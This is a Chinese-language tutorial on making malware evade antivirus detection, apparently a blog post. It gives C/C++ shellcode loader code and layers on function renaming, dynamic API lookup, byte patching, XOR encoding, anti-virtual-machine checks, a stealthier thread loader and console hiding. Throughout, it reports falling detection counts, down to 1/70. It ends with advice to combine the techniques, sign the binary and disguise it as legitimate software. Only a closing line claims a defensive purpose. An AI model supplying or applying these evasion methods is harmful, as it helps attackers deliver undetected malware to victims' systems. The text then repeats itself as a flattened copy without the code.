恶意程序初探
字数 1247 2025-08-24 07:48:09

恶意程序免杀技术全面解析

1. 基础概念

恶意程序免杀是指通过各种技术手段使恶意代码能够绕过杀毒软件的检测。本文将从基础到高级逐步介绍多种免杀技术,并提供详细的代码实现。

2. 基础免杀技术

2.1 原始代码分析

原始恶意代码通常包含以下关键部分:

  • 使用VirtualAlloc分配可执行内存
  • 使用memcpy复制shellcode
  • 直接执行shellcode
#include <stdafx.h>
#include <windows.h>
using namespace std;

int main(int argc, char** argv) {
    unsigned char buf[] = "\xfc\xe8\x89..."; // shellcode
    
    void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buf, sizeof buf);
    ((void(*)())exec)();
    return 0;
}

查杀效果:33/70(被33家杀软检测到)

2.2 敏感函数替换

原理:通过重命名敏感函数来绕过静态特征检测

// 自定义VirtualAlloc、memcpy函数名
LPVOID fAV(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {
    return VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
}

void* fackto(void* str1, const void* str2, size_t n) {
    return memcpy(str1, str2, n);
}

int main(int argc, char** argv) {
    unsigned char buf[] = "\xfc\xe8\x89..."; // shellcode
    
    void* exec = fAV(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    fackto(exec, buf, sizeof buf);
    ((void(*)())exec)();
}

查杀效果:33/71(轻微改善)

2.3 删除链接库

原理:删除编译器自动添加的依赖项(如kernel32.lib),减少可执行文件的特征

实现方法:

  1. 在VS2019中:项目 > 属性 > 链接器 > 输入 > 附加依赖项清空
  2. 动态获取函数地址:
typedef LPVOID(WINAPI* pfnVirtualAlloc)(_In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect);

pfnVirtualAlloc fnVirtualAlloc = (pfnVirtualAlloc)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "VirtualAlloc");
LPVOID Memory = fnVirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

查杀效果:27/71(显著改善)

2.4 添加数字签名

原理:为二进制文件添加合法签名,提高可信度

实现方法:

  • 使用合法证书对可执行文件进行签名
  • 可使用工具如signtool.exe

查杀效果:24/71

3. Shellcode处理技术

3.1 字符替换技术

3.1.1 替换前部字符

原理:修改shellcode前部的特征字节

unsigned char shellcode[] = "\xff\xff\xff\x00..."; // 修改过的shellcode
unsigned char code1[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b";

fackto(shellcode, code1, 13); // 还原前13个字节

查杀效果:10/70

3.1.2 替换后部字符

原理:修改shellcode尾部的特征字节

unsigned char code2[] = "\x00\x12\x34\x64\x8b";
fackto(shellcode + 831, code2, 5); // 还原尾部5个字节

查杀效果:11/71

3.2 XOR异或加密

原理:对shellcode进行异或加密,运行时解密

unsigned char shellcode[] = "\xf6\xe2\x83..."; // 加密后的shellcode

// 解密
for(int i = 0; i <= sizeof(shellcode); i++) {
    shellcode[i] ^= 10;
}

查杀效果:19/69

3.3 组合技术:XOR+memcpy

结合多种技术可显著提高免杀效果

4. 高级免杀技术

4.1 资源替换

原理:替换程序的图标、版本信息等资源,使其看起来像合法软件

实现方法:

  • 使用资源编辑器修改可执行文件资源
  • 添加合法的版本信息、公司名称等

查杀效果:9/71

4.2 反虚拟机检测

原理:检测虚拟机环境,在虚拟机中不执行恶意代码

#include <Windows.h>

int main() {
    // 检测CPU核心数
    SYSTEM_INFO SystemInfo;
    GetSystemInfo(&SystemInfo);
    if(SystemInfo.dwNumberOfProcessors < 2) return 0;
    
    // 检测内存大小
    MEMORYSTATUSEX MemoryStatus;
    MemoryStatus.dwLength = sizeof(MemoryStatus);
    GlobalMemoryStatusEx(&MemoryStatus);
    if(MemoryStatus.ullTotalPhys / 1024 / 1024 < 2048) return 0;
    
    // 检测硬盘大小
    HANDLE hDevice = CreateFileW(L"\\\\.\\PhysicalDrive0", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
    DISK_GEOMETRY pDiskGeometry;
    DWORD bytesReturned;
    DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL);
    if(pDiskGeometry.Cylinders.QuadPart * (ULONG)pDiskGeometry.TracksPerCylinder * (ULONG)pDiskGeometry.SectorsPerTrack * (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024 < 100) return 0;
    
    // 正常执行代码...
}

4.3 高级加载技术

使用更隐蔽的内存分配和执行方式:

// 1. 分配内存时先只申请可读可写权限
char* shellcode = (char*)VirtualAlloc(NULL, shellcode_size, MEM_COMMIT, PAGE_READWRITE);

// 2. 复制shellcode
CopyMemory(shellcode, buf, shellcode_size);

// 3. 修改内存属性为可执行
VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);

// 4. 延迟执行
Sleep(2000);

// 5. 创建线程执行
hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)shellcode, NULL, NULL, &dwThreadId);
WaitForSingleObject(hThread, INFINITE);

查杀效果:1/70(结合签名和资源替换)

5. 编译优化技巧

5.1 减小体积

#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment(linker, "/MERGE:.rdata=.text /MERGE:.data=.text /SECTION:.text,EWR")

5.2 隐藏控制台窗口

#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

6. 总结

技术 查杀率(被检测/总杀软) 备注
原始代码 33/70 基础实现
敏感函数替换 33/71 轻微改善
删除链接库 27/71 显著改善
添加签名 24/71 需要合法证书
前部字符替换 10/70 效果显著
后部字符替换 11/71 效果显著
XOR加密 19/69 中等效果
资源替换 9/71 效果显著
反虚拟机+XOR 1/70 最佳效果

最佳实践建议:

  1. 结合多种技术(如XOR加密+字符替换+反虚拟机)
  2. 使用合法的代码签名证书
  3. 替换程序资源使其看起来像合法软件
  4. 添加反调试和反虚拟机检测
  5. 使用隐蔽的内存分配和执行方式

注意:本文仅供学习网络安全防御技术使用,请勿用于非法用途。

恶意程序免杀技术全面解析 1. 基础概念 恶意程序免杀是指通过各种技术手段使恶意代码能够绕过杀毒软件的检测。本文将从基础到高级逐步介绍多种免杀技术,并提供详细的代码实现。 2. 基础免杀技术 2.1 原始代码分析 原始恶意代码通常包含以下关键部分: 使用 VirtualAlloc 分配可执行内存 使用 memcpy 复制shellcode 直接执行shellcode 查杀效果 :33/70(被33家杀软检测到) 2.2 敏感函数替换 原理:通过重命名敏感函数来绕过静态特征检测 查杀效果 :33/71(轻微改善) 2.3 删除链接库 原理:删除编译器自动添加的依赖项(如kernel32.lib),减少可执行文件的特征 实现方法: 在VS2019中:项目 > 属性 > 链接器 > 输入 > 附加依赖项清空 动态获取函数地址: 查杀效果 :27/71(显著改善) 2.4 添加数字签名 原理:为二进制文件添加合法签名,提高可信度 实现方法: 使用合法证书对可执行文件进行签名 可使用工具如signtool.exe 查杀效果 :24/71 3. Shellcode处理技术 3.1 字符替换技术 3.1.1 替换前部字符 原理:修改shellcode前部的特征字节 查杀效果 :10/70 3.1.2 替换后部字符 原理:修改shellcode尾部的特征字节 查杀效果 :11/71 3.2 XOR异或加密 原理:对shellcode进行异或加密,运行时解密 查杀效果 :19/69 3.3 组合技术:XOR+memcpy 结合多种技术可显著提高免杀效果 4. 高级免杀技术 4.1 资源替换 原理:替换程序的图标、版本信息等资源,使其看起来像合法软件 实现方法: 使用资源编辑器修改可执行文件资源 添加合法的版本信息、公司名称等 查杀效果 :9/71 4.2 反虚拟机检测 原理:检测虚拟机环境,在虚拟机中不执行恶意代码 4.3 高级加载技术 使用更隐蔽的内存分配和执行方式: 查杀效果 :1/70(结合签名和资源替换) 5. 编译优化技巧 5.1 减小体积 5.2 隐藏控制台窗口 6. 总结 技术 | 查杀率(被检测/总杀软) | 备注 ---|---|--- 原始代码 | 33/70 | 基础实现 敏感函数替换 | 33/71 | 轻微改善 删除链接库 | 27/71 | 显著改善 添加签名 | 24/71 | 需要合法证书 前部字符替换 | 10/70 | 效果显著 后部字符替换 | 11/71 | 效果显著 XOR加密 | 19/69 | 中等效果 资源替换 | 9/71 | 效果显著 反虚拟机+XOR | 1/70 | 最佳效果 最佳实践建议: 结合多种技术(如XOR加密+字符替换+反虚拟机) 使用合法的代码签名证书 替换程序资源使其看起来像合法软件 添加反调试和反虚拟机检测 使用隐蔽的内存分配和执行方式 注意:本文仅供学习网络安全防御技术使用,请勿用于非法用途。